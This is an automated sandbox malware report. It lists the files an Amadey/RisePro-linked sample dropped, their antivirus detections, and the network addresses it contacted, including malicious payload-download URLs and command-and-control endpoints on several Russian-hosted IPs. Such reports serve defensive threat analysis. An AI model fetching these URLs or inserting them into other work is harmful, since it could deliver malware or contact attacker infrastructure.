C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sarra[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	71%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	82%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	92%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	82%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	71%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	92%	ReversingLabs	Win64.Trojan.Amadey

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youtube-ui.l.google.com	108.177.122.91	true	false	high
www3.l.google.com	142.250.105.138	true	false	high
play.google.com	173.194.219.139	true	false	high
ipinfo.io	34.117.186.192	true	false	high
www.google.com	64.233.176.103	true	false	high
db-ip.com	104.26.5.15	true	false	high
accounts.youtube.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1	true	unknown
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	true	unknown
https://www.youtube.com/account	false	high
https://www.google.com/favicon.ico	false	high
http://193.233.132.167/cost/random.exe	true	unknown
http://193.233.132.167/cost/sarra.exe	true	unknown
http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	true	unknown
http://193.233.132.167/mine/random.exe	true	unknown
http://193.233.132.56/Pneh2sXQk0/index.php	true	unknown
http://193.233.132.167/enigma/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.233.132.167/xeJ	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/cost/sarra.exe8	explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORTr	590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.phpq	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/33.132.56/015f815db2cd0aea5fb37b3eefba1586aa0e17e76n	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/enigma/index.phpp	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/cost/sarra.exeata	explorha.exe, 00000006.00000002.2899294419.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://db-ip.com/	590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.phpY	chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/4e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000012.00000003.2427444325.0000019ECF4A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2427444325.0000019ECF4E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.57.52u	590971cd60.exe, 00000014.00000002.2888771295.000000000188C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.php6)	rundll32.exe, 0000001A.00000002.2899487024.000000000061A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016/ee	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.?	powershell.exe, 0000001D.00000002.2646021051.000001CA6D510000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/Pneh2sXQk0/index.phpded	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/risepro_bot.52	590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/cost/go.exe	590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000012.00000003.2427444325.0000019ECF51A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.167/cost/go.exe0.1	MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/enigma/index.phpG	chrosha.exe, 00000010.00000002.2907399446.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/enigma/index.phpP	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.2899487024.000000000065F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2413543741.0000017E248B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2449781101.0000017E32F5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2625392452.000001CA65298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/risepro_botisepro_bot	590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.php;	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.winimage.com/zLibDllDp	590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp	false		high
http://193.233.132.167/SOR_LEVEL=6PROCESSOR_RE	chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2413543741.0000017E22EF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55221000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.phpB	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.167/cost/sarra.exeP	explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000001D.00000002.2553378843.000001CA56173000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56849000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000D.00000002.2413543741.0000017E23118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDllDpuTpu	MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	false		high
http://193.233.132.56/015f815db2cd0aea5fb37b3eefba1586aa0e17e76#da#	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/en-US	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.ver)	svchost.exe, 00000012.00000002.2922554035.0000019ECF261000.00000004.00000020.00020000.00000000.sdmp	false		low
https://t.me/RiseProSUPPORT	590971cd60.exe, 00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.000000000137D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CA6000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2734561741.0000000007CF9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/	MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpru	explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io:443/widget/demo/81.181.57.52lM	MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000D.00000002.2413543741.0000017E23118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php56001	explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/enigma/index.phpv	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/Pneh2sXQk0/index.phpx	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/cost/random.exel	explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.winimage.com/zLibDllDpRTpR	590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpv	explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	MPGPH131.exe, 00000026.00000003.2727003523.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e76#	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/risepro_botI	MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phph	explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.47.102:57893/hera/amadka.exe	590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.233.132.56/&	rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/33.132.56/015f815db2cd0aea5fb37b3eefba1586aa001	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/accountYouTube	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/8r	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2734561741.0000000007CF9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e001	explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1es	rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/enigma/index.phperWgfTOmIUKDbvTuTS4b2SL=ex.php	chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/accountt	bad48ea9ac.exe, 0000000F.00000003.2686052943.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2684405158.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000002.2690945819.0000000003E47000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2686241340.0000000003E46000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2683839052.0000000003E19000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2687671932.0000000003E47000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/mine/random.exe5	explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.56/Pneh2sXQk0/index.php51a4f	explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/accountn	bad48ea9ac.exe, 0000001F.00000003.2813883212.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2810834359.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2808553560.0000000003BD5000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000002.2818935392.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2811449608.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php?	rundll32.exe, 0000000B.00000002.2900366826.000000000063A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://accounts.goo	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.167/cost/lenin.exe192.168.0Yx8	MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io:443/widget/demo/81.181.57.52	590971cd60.exe, 00000014.00000002.2888771295.00000000018A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17/ewGpY	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php01	explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.56	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
142.250.105.138	www3.l.google.com	United States	15169	GOOGLEUS	false
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
172.217.215.136	unknown	United States	15169	GOOGLEUS	false
193.233.132.167	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
108.177.122.91	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
64.233.177.101	unknown	United States	15169	GOOGLEUS	false
64.233.176.103	www.google.com	United States	15169	GOOGLEUS	false
74.125.138.101	unknown	United States	15169	GOOGLEUS	false
108.177.122.99	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428439
Start date and time:	2024-04-18 23:38:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UeW2b6mU6Z.exe renamed because original name is a hash value
Original Sample Name:	a0de5117f2db3409eeb42464b5c2e811.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@108/150@20/15
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.40.205.34, 192.229.211.108, 172.217.215.100, 172.217.215.138, 172.217.215.101, 172.217.215.102, 172.217.215.139, 172.217.215.113, 64.233.177.84, 142.250.105.94, 34.104.35.123, 172.253.124.94, 64.233.176.94, 64.233.185.95, 172.253.124.95, 172.217.215.95, 74.125.136.95, 173.194.219.95, 142.250.105.95, 108.177.122.95, 64.233.177.95, 74.125.138.95, 64.233.176.95, 142.251.15.95, 142.250.9.95, 23.220.189.216, 173.194.219.94, 74.125.138.84, 173.194.219.113, 173.194.219.102, 173.194.219.101, 173.194.219.100, 173.194.219.138, 173.194.219.139, 20.42.65.92
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, optimizationguide-pa.googleapis.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
